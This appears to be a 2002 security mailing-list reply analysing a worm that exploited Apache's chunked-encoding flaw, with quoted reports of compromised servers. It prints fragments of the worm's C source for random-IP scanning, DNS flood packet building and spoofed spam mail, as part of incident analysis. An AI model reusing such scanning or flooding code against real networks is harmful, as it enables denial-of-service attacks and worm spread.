Re: Apache Worm / ddos

From: Dave Mitchell (daveat_private)
Date: Thu Jul 11 2002 - 01:41:17 PDT

  • Next message: Thomas Cannon: "Re: Code Red and other anomalous activity from 1433"

    Hi,
      This is in response to how the worm floods. Being a network
    guy by trade, I can't guarantee that this is 100% accurate since
    I went over it rather quickly, but I trust my C knowledge enough. 
    Feel free to correct me for any errors. :)
    
    Once installed, it acts as a server listening on UDP 2001. It then
    begins to scan hosts on your network by randomizing the host and
    subnet bytes of your IP address. Besides flooding, it looks for other
    exploitable hosts in which to install itself upon.
    
    #ifdef SCAN
    if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
              char srv[256];
                if (d == 255) {
                  if (c == 255) {
                       a=classes[rand()%(sizeof classes)];
                       b=rand();
                       c=0;
                   }
                       else c++;
                       d=0;
                }
                 	   else d++;
                       memset(srv,0,256);
                       sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
                       clients[n].ext=time(NULL);
                       atcp_sync_connect(&clients[n],srv,SCANPORT);
                       p++;
    }
    
    It then begins flooding the targets with TCP and UDP. This code also has
    RAW socket support besides using standard SOCK_STREAM and SOCK_DGRAM.
    and even more fun, it has DNS flooding support. Lastly it has an email spoofing
    tool built in that spoofs from random @aol.com and a "TO:" that it
    strips out from the HTTP GET. The DNS functions appear to both 
    flood and grab a valid MX record in order to flood it with mail.
    
    memset((void*)&in,0,sizeof(struct sockaddr_in));
    in.sin_addr.s_addr=rp->target;
    in.sin_family=AF_INET;
    in.sin_port=htons(53);
    dnsp.rd=1;
    dnsp.tc=0;
    dnsp.aa=0;
    dnsp.opcode=0;
    dnsp.qr=0;
    dnsp.rcode=0;
    dnsp.unused=0;
    dnsp.pr=0;
    dnsp.ra=0;
    dnsp.que_num=256;
    dnsp.rep_num=0;
    dnsp.num_rr=0;
    dnsp.num_rrsup=0;
    convo=buf+sizeof(struct df_rec);
    convo[rp->h.len]=0;
    decrypt(convo,rp->h.len);
    
    for (i=0,startm=0;i<=rp->h.len;i++) if (convo[i] == '.' || convo[i] == 0) {
         convo[i]=0;
         sprintf(dnsp.buf+len,"%c%s",(unsigned char)(i-startm),convo+startm);
         len+=1+strlen(convo+startm);
         startm=i+1;
    }
    
    atcp_sendmsg(&srv,"From: %s\n",from);
    atcp_sendmsg(&srv,"Message-ID: <%x.%x.%xat_private>\n",rand(),rand(),rand());
    atcp_sendmsg(&srv,"Date: %s",ctime(&tm));
    atcp_sendmsg(&srv,"Subject: %s\n",subject);
    atcp_sendmsg(&srv,"To: %s\n",buf);
    atcp_sendmsg(&srv,"Mime-Version: 1.0\n");
    atcp_sendmsg(&srv,"Content-Type: text/html\n\n");
    atcp_sendmsg(&srv,"%s\r\n.\r\n",data);
    break;
    
    It grabs the fields that it puts in an email from the HTTP GET. It appears to just
    be a bogus message to fill up outbound mail queues and won't be denied since it originates
    from that network.
    
    The worm will not attempt to contact RFC1918 space, and will also not speak
    with hosts that it finds a .gov in the HTML from the GET /.
    
    
    -dave
    
    
    On Mon, Jul 08, 2002 at 06:08:56PM +0200, Alexander Bochmann wrote:
    > Hi,
    > 
    > ...on Sun, Jul 07, 2002 at 11:14:56PM +0200, Thorsten Schroeder wrote:
    > 
    >  > today three of our apache webserver were compromised using the vulnerability
    >  > found in the chucked encoding implementation of the Apache [..]
    >  > I noticed an increasing traffic until no bandwidth was available.
    >  > i tried to reconstruct/analyse this but it's totally unclear, why this
    >  > degenerates in a (distributed?) denial of service against one of our
    >  > (compromised) servers.
    > 
    > We have seen the same udp dst 2001 flood on friday with 
    > a customer machine that had also been compromised by the 
    > worm.
    > 
    >  > in the /tmp directories is the binary of the worm and it's uuencoded binary:
    >  > -rwxr-xr-x   1 nobody    wheel    51594 Jul  7 13:47 .a
    >  > -rw-r--r--   1 nobody    wheel    71105 Jul  7 13:47 .uua
    > 
    > Same here.
    > 
    > While I had no close look at the published source code, 
    > a strings on the .a file reveals some data that may point 
    > to a ddos tool, namely stuff like
    > 
    > Cannot packet local networks
    > Udp flooding target
    > Tcp flooding target
    > Sending packets to target
    > Dns flooding target
    > 
    > (but as the strings are also in the source I assume it 
    > is the same program)
    > 
    >  > Thousands of different (spoofed) ip-adresses as source for upd-packets from
    >  > port 2001 to the compromised system port 2001.
    > 
    > I have seen this too. The flood does not stop when the compromised 
    > machine is taken down (but some hours later; the filter on their 
    > router has stopped counting at 34005105 matches). 
    > Didn't have time to go searching if the source addresses were 
    > obviously spoofed, but I have some tcpdump traces to check up 
    > later.
    > 
    > The customer also had a complaint from an ISP in Moldavia that 
    > the compromised machine had flooded a machine there before it 
    > was shut down.
    > 
    > Alex.
    > 
    > 
    > ----------------------------------------------------------------------------
    > This list is provided by the SecurityFocus ARIS analyzer service.
    > For more information on this free incident handling, management 
    > and tracking system please see: http://aris.securityfocus.com
    > 
    
    -- 
    --------------------------
    Dave Mitchell
    Network Engineer, ViaWest
    dmitchellat_private
    (720) 891-1045
    --------------------------
    
    
    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management 
    and tracking system please see: http://aris.securityfocus.com
    



    This archive was generated by hypermail 2b30 : Thu Jul 11 2002 - 13:39:54 PDT